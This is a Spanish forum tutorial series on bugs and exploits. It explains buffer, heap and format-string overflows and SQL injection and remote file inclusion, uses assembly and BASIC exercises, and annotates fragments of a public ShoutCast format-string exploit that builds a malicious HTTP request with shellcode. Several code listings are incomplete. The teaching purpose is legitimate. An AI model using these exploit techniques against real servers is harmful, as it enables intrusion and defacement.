IntroduccionBueno un taller, o como lo veo yo, es algo en donde aprendes de la práctica.esta es la primera clase (xD) por decirle asi, y es un poco para evitar que se vallan por el mal camino, no duden en dejar sus dudas aqui, pero recuerden que seran borradas, para poder dar continuidad al taller, sinembargo todas las dudas seran contestadas en el proximo post. Primero, que es un Bug? contestare eso, diciendo que no es. NO ES un programa que permite a un "supermegahx0r" entrar a la CIA NO ES una linea de codigo NO ES un insecto, ni lo que te estes imaginando que no sea: un error de programación eso es todo.. unos diran, UN FORO para eso.. un error de programación, ¿Porque no esta en la categoria de programación? ¿Porque esta en Hacking? ¿Porque todo parece girar alrededor de un Simple Error!!? Bueno, porque es muy dificil hacer una aplicación GRANDE, segura. por eso windows tiene errores, porque un grupo cerrado de personas, trabajan dia y noche para hacer muy bonito el sistema operativo, y cobrar sus cheques, pero en algun momento un programador se equivoca, no define bien una variabe, se salta un paso, no limpia una entrada, y un gusano infecta miles de millones de computadoras en 1 dia. Yo he dicho, que debes saber mas que el propio programador, pero ahora veo que no es realmente asi, porque hasta un programador, muy bueno, puede cometer un error, hasta ahora, no he descubierto ningun bug en ninuna aplicación que he hecho, el problema es que otros si lo han logrado. en un lugar donde creo haber tomado todas las precauciones, siempre encuentran algo.. aveces es desesperante, pero de que alguien conocido encuentre el bug a alguien mas... prefiero yo saberlo, y asi corregirlo. ahora, donde entran los exploits? los exploits, son otro programa, que usa este "bug" para hacer algo malo.. peinsen en que su programa es un niño chiquito y con amnesia. deben de decirle que hacer bajo cada situación. no abras la puerta a ningun extraño. no dejes pasar a ninguna persona conocida con animales. no dejes pasar a ninguna persona conocida con armas. pero llega un señor, desconocido. con un changuito y una pistola, se queda afuera de la puerta, se presenta al niño, el niño lo conoce, y le da al changuito el arma, el changuito entra con el arma y despues el señor, como ya lo conoce el niño, entra, toma el arma una vez dentro, y lo mata. ahora, el niño siempre siguio tus ordenes. pero aun asi, lo mataron. ¿suena muy fuerte verdad? ahora que prefieres, que un compañero entre y en lugar de matar al niño, te hable por telefono, diciendote del problema, o.. que lo haga alguien desconocido? bueno, no se si en alguna clase de computación, la primera clase no prenden las computadoras.. eso me pasa desde primaria.. nunca entendia porque, y hoy ustedes tendran la misma duda. ustedes son ladrones de bancos, y quieren robar todo el dinero de el banco de la esquina, hay varias funciones (empleados), y estos se deben de encargar de evitar que tu salgas de ahi con dinero que no te pertenece, tu debes de crear un escenario en el cual, sin romper ninguna regla, salgas con el dinero en la mano. estas son las funciones: guardia_de_la_puerta (persona, accion){ ahora, tu solo puedes modificar la variable dinero, acción, y cuenta. no puedes falsificar persona. tu solo tienes una cuenta de $500.00 y quieres sacar todo el dinero del banco. despues debes salir por donde esta el guardia de la puerta, (solo puedes salir por ahi, y DEBES salir) por cierto, no eres policia. Saludos!! Segunda SesiónTipos de Bugs: Nivel Aplicación Nivel Web Esta sesión nos centraremos en: Nivel Aplicación se refiere a BoF, HoF, y FSoF. Este taller es de práctica, anexo documentación, porque la info que daré aqui no es suficiente. los BoF son vulnerabilidades que se dan porque el programador, al calcular la longitud de memoria asignada a tal variable, permite que el usuario meta mas de lo permitido, esto es porque en C, por ejemplo, al meter asi: scanf("%s",string); se empiezan a guardar en posiciones despues de la direccion de memoria guardada, asi que no hay algo que le diga alto. si esta información se guarda en el Stack, parte de la memoria, donde se empujan funciones, se puede hacer que se ejecute código. Mas info en: http://en.wikipedia.org/wiki/Buffer_overflow Los HoF, se crean cuando se usa, (de nuevo C), una funcion, llamada malloc, que sire para especificar, cierta cantidad de memoria, lo que nos permite modificar variables. Mas info en google xD Los FSoF, son vulnerabilidades, al usar algo asi: printf(variable); documentación anexa. Bueno. deben leer y aparte si necesitan, investigar sobre estos temas, ya que los necesitaran para su siguiente tarea. Esta es la historia de mi amigo Paco Hoy
Paco compró un software nuevo, llamado Apahuichtle, es un WebServer, y
se supone que es anti todo, porque no soporta programación del lado del
servidor. Pero al pobre paco, lo han defaceado mil veces. Lo unico que sabe, es que es una vulnerabilidad llamada BoF. busco en google que significa y encontro que es Birds of a Feather, asi que se ha puesto a borrar todos los archivos de pajaron que tenia. Aun asi lo siguen defaceando. Este es el codigo fuente de Apahichtle: #include <stdio.h> Paco me mando el instalador tambien, lo dejo anexo. Debes encontrar todoss los bugs que puedas. te recuerdo que debes leer la documentación, para que puedas encontrara las vulnerabilidades que contiene este programa. Nivel WebHola. Yo sé que el tema pasado fue un poco complicado, pero eso fue una introducción a overflows, mas adelante veremos mas afondo como funciona cada uno, y sus ejemplos, y realmente era para que leyeran un poco sobre eso.. jeje. Hoy veremos un poco de bugs a nivel web. No les expliaré que es XSS ni SQL Inj., ni RFI, etc.. esto es mas bien un poco de teoria, y practica sobre de donde vienen estos bugs. Los bugs a nivel web, son básicamente errores que por su naturaleza, son muy dificiles de controlar. ya que en si, la mayoria de las veces no bloqueas el error, sino que mas bien, limpias al usuario. es como: Tenemos un millon de dolares en una mesa en mi casa, pero para evitar que se lo roben, solo dejo entrar a personas de confianza. sin ofender a nadie.. eso es una idiotes. asi funcionan a grandes rasgos, las vulnerabilidades de: XSS Cross Site Scripting SQL Inj. SQL Injection RFI Remote File Inclusion RCE Remote Comand Execution Pero, pues que podemos hacer.. miren, haber si le trae recuerdos a alguien: EnglishTeacher: Fill in the blanks: 1.- The dog cant, enter to the house, it only can be in _____ house. 2.- Everybody is welcome to our house, this is our adress: ______. 3.- My name is _____, and I am from México. Como, Ingles básico 1, o no se jaja. Un alumno cualquiera contestaria: 1.- The dog cant, enter to the house, it only can be in its house. 2.- Everybody is welcome to our house, this is our adress: Evergreen No. 123, SpringField. 3.- My name is Jose Matias, and I am from México. Bueno ese jose matias es como que el matado del salón, pero aqui viene pepito, el astuto. 1.- The dog cant, enter to the house, it only can be in the teacher's house. 2.- Everybody is welcome to our house, this is our adress: Afganistan, Kabul, CIA-HQ Basement. Att. Osama. 3.- My name is George W. Bush, and I hate you. Well I am Fox, and I am from México. bueno.. espero hayan entendido el concepto. la magia esta en introducir cosas que no deberian introducirse. En SQL Iny y RCE. lo que haces es introducir mas comandos de los que se supone que puedes, al dejarte introducir una variable, metes la variable, y despues metes comandos. En RFI y XSS. lo que haces es meter cosas donde no van!! metes una url, donde va un archivo, metes un tag donde va tu nombre etc.. Ejemplo de SQL Inyection:nos dejan meter la variable $modeloy esta se usa aqui: SELECT * FROM autos WHERE modelo='$modelo'; Entonces,
tu metes comandos despues de eso.. pero si los metes a pelo, la
instrucción va a creer que las funciones que metes son parte de la
variable, asi que primero hay que decirle, que la variable acaba en
cierto punto, para eso metemos una comilla.. para que la instrucción
diga, bueno, hata aqui acaba la variable, y despues le metes
instrucciones, no me meteré, en que instrucciones, eso ya hay
tutoriales de SQL y de SQL Inyection. Ejemplo de RFI:el programa dice: Cargar las variables donde estan los idiomas de la pagina que esta en la variable idioma, por ejemplo, idioma=spanish.php entonces, nosotros vemos eso, y como sabemos que lo que hay en idioma, se va a incluir como instrucciones, ponemos nuestra web, con instrucciones que nos den control total de la página. como siempre les dejo tarea. EjercicioY no es de hacer cosas en programas ya hechos.. para eso esta www.securityfocus.com/bid su tarea es de concepto, deben de hacer algo que se necesita para explotar genericamente todas las aplicaciones.Deben hacer que el siguiente texto hable de lo siguiente:
este es el texto, donde vean un [?] pueden insertar cualquier cosa, de no mas de 25 caracteres, y no menos de 3. Alguien: Pese
a que en nuestro país [?] la osteoporosis es un problema [?] importante
y muy difundido, mas grave lo es la kokosteoposis [?], un padecimiento
oseo, originado por una mala [?] nutrición. Se calcula que en el territorio [?] mexicano [?], existen mas de 24.5 millones de personas con estos problemas, y solo 150,000 reciben [?] tratamiento. La [?] Comop, dice que [?] 36,500 personas se fracturan al año, y la mitad, se muere en el transcurso del año entrante, y del [?] 50% restante la mitad queda discapacitada y dependiente de familares y amigos. Como se puede ver [?] los problemas de desmineralización no solo [?] afectan a personas de edad [?] avanzada, pues muchos jovenes [?] la padecen. El que de la mejor respuesta, gana que su post no se borre, igual que el del primer post El próximo capitulo será de ASM, y BASIC.. para que vean masomenos como funciona su compu, y podamos reabordar el tema de overflows.. Hay documentación, en el foro de cursos y documentación, www.elhacker.net y en google. Saludos!! Empezamos con ensamblador¡¡Un lenguaje de bajo nivel.Hagan de cuenta, que los programadores son los directores de una empresa, que produce.. productos (programas). La oficina del programador, como es el de las ideas esta hasta arriba, Abajo estan varias divisiones, que se encargan del poner las ideas en una pantalla para el usuario, osea arman el marco del programa, aqui podria ir, HTML, XML, APIs de protocolos, etc.. Abajo esta la división dinámica, como puede ser Perl, PHP, ASP, etc.. Abajo esta la sección de programadores nivel aplicación que saben: C, Java, VB entre otros lenguajes. Abajo esta la sección de compiladores (traductores), que se encargan de poner el código de los señores de arriba, en otro lenguaje.. llamado ASM. Abajo, esta la minifábrica, donde re-traducen el lenguaje ASM en bits. queda algo asi: [ PROGRAMADOR ] [ diseño ] [ INTERACTIVIDAD ] [ APLICACIÓN ] [ TRADUCCIÓN ] [ ENSAMBLACION ] A que no adivinan, donde esta ensamblador? claro!! en el nivel de abajo.. xD Bueno, es una manera de ejemplificar esto.. creanme que nadie estaba pensando en un edificio cuando nombro ASM como lenguaje de bajo nivel.. pero creo que se entiende el concepto no? Bueno, antes de ver ensamblador.. vamos a meternos un poco en como funcionan estas cosas. hay un lenguaje, parecido (pero diferente (xD)) llamado Basic, ahora, no hablo del moderno.. ese ya es casi igual a visual basic.. yo hablo de BASIC.. de los primeros que salieron. Escogi este, por un simple motivo, porque numera las lineas. ok veamos.. este es un programa en basic. : 10 PRINT "HOLA ESTO ES UN FACTORIZADOR" Es un factorizador.. muy malo por cierto.. pero veamos como funciona. primero imprime a pantalla: HOLA ESTO ES UN FACTORIZADOR digamos que metimos el 42 30 GOTO 70 70 IF FRAC(A/2)=0 THEN 40 SI LA FRACCION DE A/2 (42/2) ES IGUAL A 0 ENTONCES VE A LA LINEA 40 que es igual a SI 0 = 0 ENTONCES: 40 PRINT "2" 2 50 A=A/2 60 IF A-1=0 THEN 180 70 IF FRAC(A/2)=0 THEN 40 80 B=3 90 C=SQRA+1 100 IF B>=C THEN 170 110 IF FRAC(A/B)=0 THEN 130 130 IF A/B*B-A=0 THEN 150 y ustedes siganle Bueno, quiero destacar ciertas cosas.. ¿Hay funciones en este lenguaje? Bueno, quien dijo, que NO esta bien. Quien dice que SI tambien. Me explico. hay una instrucción llamada GOSUB.. que va a cierta parte del código, y cuando encuentra RETURN, regresa a la linea de donde se lanzo el GOSUB.. por ejemplo: 10 GOTO 50 Ahora.. esto es todo lo que van a saber de BASIC.. si quieren saber mas: http://en.wikipedia.org/wiki/BASIC Espero que hallan entendido bien esto.. ahora va ensamblador.. La similitud que le veo con BASIC es muy grande, aunque muchos no compartan mi creencia.. nimodo. Veamos.. Necesitamos un lugar donde probar lo que hacemos. Inicio => Ejecutar DEBUG Si, asi es.. xD les debe salir un signo de menos (-) escriben: A y saldra algo asi 0D0C:0100 Ahora.. ensamblador tiene ciertas peculiaridades. Las variables, no son variables (si exacto.. suena extraño?) sino posiciones de memoria. Uy hay algo mejor aun.. recuerdan la función "Linea 20", pues aca, aunque parece que tenemos mas flexibilidad (el MASM no cuenta), realmente estamos igual o peor. Porque pues, en BASIC, al menos controlamos las lineas.. decimos, esta es linea 1, esta es 2 etc.. en ASM, si queremos saltar hacia adelante.. necesitamos primero hacer el programa, (o calcularlo, pero mm.. no) y despues de eso, sabremos a donde queremos saltar.. el GOSUB, pues.. para que el programa sepa a donde regresar despues del return (en ASM se llama ret) la direccion de guarda en una variable. Por ejemplo: 0D0C:0100 JMP 113 (al usar debug, al final deben poner esto): (salto de linea) ----------------------------- C:\DOCUME~1\ADMINI~1>DEBUG Ok, vamos a explicar esto. 0D0C:0100 JMP 113 JMP, sirve para Brincar, es como el GOTO en basic 0D0C:0102 DB "HOLA UNIVERSO XD$" Aqui, pusimos en DB que significa que lo que sigue, lo escriba tal cual en hexadecimal. 0D0C:0113 MOV AH,9 Ok, esto es parte de las cosas interesantes de ensamblador.. pon tu que en ensamblador SI hay funciones, pero les llamamos interrupciones.. ahora a las interrupciones, les pasamos parametros, igual que a una función, y los parametros que mandamos, los metemos un unos registros llamados AX,BX,CX,DX,SP,BP,SI,DI,DS,ES,SS,CS,IP,AH,BH estos, pueden mandar valores a las interrupciones, y decriles que queremos hacer.. este MOV AH,9 "MUEVE" el valor "9" en el registro "AH".. es asi MOV DESTINO,FUENTE y esto sirve para que la interrupcion 21, haga la subfuncion de "ESCRIBIR EN PANTALLA" lo que hay en el siguiente registro.. 0D0C:0115 MOV DX,102 Aqui, movemos 102 (es la direccion donde esta nuestro mensaje) al registro DX.. asi, la funcion/interrupcion sabe donde buscar lo que va a "ESCRIBIR EN PANTALLA" 0D0C:0118 INT 21 Aqui hacemos la interrupcion.. y hace lo que le dijimos, escribe en pantalla, lo que hay en la direccion 102, hasta chocar con "$" (te preguntabas porque estaba ese $ al final, ya sabes porque ) 0D0C:011A INT 20 Esta otra interrupcion, termina el programa, de hecho, se supone que no la debes usar, pero.. que mas da.. Y nos da un bonito programa que nos dice Hola Universo Ahora, hagamos un programa, que meta cosas donde no debe.. Haremos un archivo BATCH que cree un programa.. que nos muestre el mensaje que queramos divertido no? (no? xD) @echo off guardenlo donde quieran, y escriban: C:\DOCUME~1\ADMINI~1>say HOLA ELHACKER.NET despues escriban: C:\DOCUME~1\ADMINI~1>sayme Excelente el programa funciona. Bueno, recuerdan que les hice leer muchos textos de overflows en la segunda sesión? pues.. los van a usar. Miren, si ponen mas de 32 caracteres, van a empezar a escribir en secciones de código.. es decir, ponen 32 caracteres, y despues, pueden meter el código que se les de la gana Para meter el codigo deben de hacer lo siguiente: Primero, abren "debug" y escriben 32 veces NOP se va a colocar en la dirección 123, ahi escriben el código que quieran.. lo abren con bloc de notas, y escriben en cmd.exe SAY [PEGAN EL CONTENIDO DEL ARCHIVO] esto deberia funcionar... A pero me van a decir que no saben programar en Ensamblador.. les dejo un curso anexo Miren les explico que sucede: El programa les deja escribir desde la posición 103. cada letra, es un byte mas, es decir, una direccion mas. una palabra de 5 letras ocupara hasta la 118 una de 9 hasta la 11C (recuerda que es hexadecimal), y asi sucesivamente.. asi que si quieres, puedes escribir sobre 123 que es donde esta el código y modificarlo, por lo que tu quieras. TIP: Inicio -> Ejecutar -> calc (calculadora hexadecimal) TIP: Si tienen problemas con los caracteres, PUEDEN editar el BATCH ESTA SESIÓN TIENE COMO OBJETIVO INTRODUCIRTE A LO QUE SON LOS BUGS, A NIVEL APLICACIÓN. LA PROXIMA SESIÓN ATACAREMOS UN PROGRAMA EJECUTABLE, ES DECIR COMPILADO, CON FORMAT STRING, HEAP Y BUFFER OVERFLOW.. Saludos!! Bug de "Format String"Hoy de casualidad llegue a dar con un Bug de "Format String", y me puse a verlo El exploit lo pueden bajar de aqui: http://www.milw0rm.com/exploits/830 (Por Tomasz Trojanowski) Es para ShoutCast (http://www.securityfocus.com/bid/12096), pero me gusto para explicar el funcionamiento de un FSoF. En fin.. les recuerdo un poco que es un FSoF. "Format String Bug" "Format String Vulnerabilty" "Format String Over Flow" o simplemente "Format String" son todos lo mismo, y sucede en estas ocasiones: printf(variable); sprintf(variable); fprintf(variable); etc.. Ahora, una de las maneras de explotarlo, es cuando usamos las expresiones "%n" Estas, se encargan de escribir en la dirección especificada la cantidad de datos que se deben haber escrito hasta el momento.. su explotacion es un poco complicada, asi que para mas información, pueden ver la documentación en el "Taller de Introducción a Bugs & Exploits" (mas arriba), aqui trataré de explicar el funcionamiento de este exploit, para que a otros les sirva si alguna ves encuentran alguno. La manera de encontrarlo, es al mandar una expresión como: "UNo:%xDOs:%x" si el vaor de UNo es difernete a DOs, es muy probable que haya un FSoF. La manera de explotarlos es similar a la de un BoF, solo que la manera de meterlo es muy diferente. ShoutCast, al igual que "Apahuichtle WebServer (AWS)" es un webserver, es decir se encarga de responder a llamadas en el protocolo http (aunque algunos webservers tambien responden en otros..) Este protocolo funciona asi: [METODO] [ARCHIVO] [VERSION] Por ejemplo, esta petición estandard a un webserver Apache: GET / HTTP/1.1 HTTP/1.1 200 OK Ahora empezemos a analizar el exploit, que aprovechandose de una vulnerabilidad de FSoF va a sobreescribir la SEH. #include <stdio.h> #define NORM "\033[00;00m" #define BANNER GREEN "[%%] " YELL "mandragore's sploit v1.0 for " RED "shoutcast 1.9.4 (win gui & console)" NORM struct { char *os; long goreg; long gpa; long lla; } unsigned char bsh[]={ char verbose=0; -- void usage(char *argv0) { y el menu de uso. void shell(int s) { printf("[+] connected!\n\n"); if (select(s+1, &fds, NULL, NULL, NULL) < 0) } int main(int argc, char **argv, char **env) { for (i=1;i<argc;i+=2) { case 'P': case 't': if (verbose) printf("[.] launching attack on %s:%d..\n",inet_ntoa(*((struct in_addr *)he->h_addr_list[0])),port); Ahora, hasta aqui, no hemos visto nada nuevo.. s=socket(2,1,6); buff=(char *)malloc(4096); Ponemos a 0 el buffer. y ponemos los offsets ptr=sprintf(buff,"GET /content/%%#0%ux",1046-sizeof(bsh)); memcpy(buff+ptr,bsh,sizeof(bsh)); ptr+=sizeof(bsh); strcpy(buff+ptr,"\xeb\x06\x41\x41"); ptr+=4; Saltar 8 bits adelante. CX=CX+2 es decir saltamos. memcpy(buff+ptr,&targets[type].goreg,4); ptr+=4; strcpy(buff+ptr,"\xe9\x2d\xff\xff\xff"); strcpy(buff+ptr,"%#0200x.mp3 HTTP/1.0\r\n\r\n"); ptr+=28; send(s,buff,ptr,0); sin.sin_port = htons(Port); Bueno, talvez este documento sea mas complicado de entender que los de BoF, ya que el FSoF es una tecnica diferente.. estoy seguro que mas de uno al leer los memcpy no sabian de que estaba hablando.. pero para eso esta la documentación, para que entiendan la teoria del tema.. Saludos!! PD. La version 1.2 de AWS esta anexa, con fuente y paquete ejecutable, es vulnerable a FSoF y a RCE.. por si quieren practicar. Autor: sirdarckcat Fuente Original: http://foro.elhacker.net/bugs_y_exploits/taller_de_introduccion_a_bugsexploits_1deg-t103198.0.html |
Bugs y Exploits > Introducción >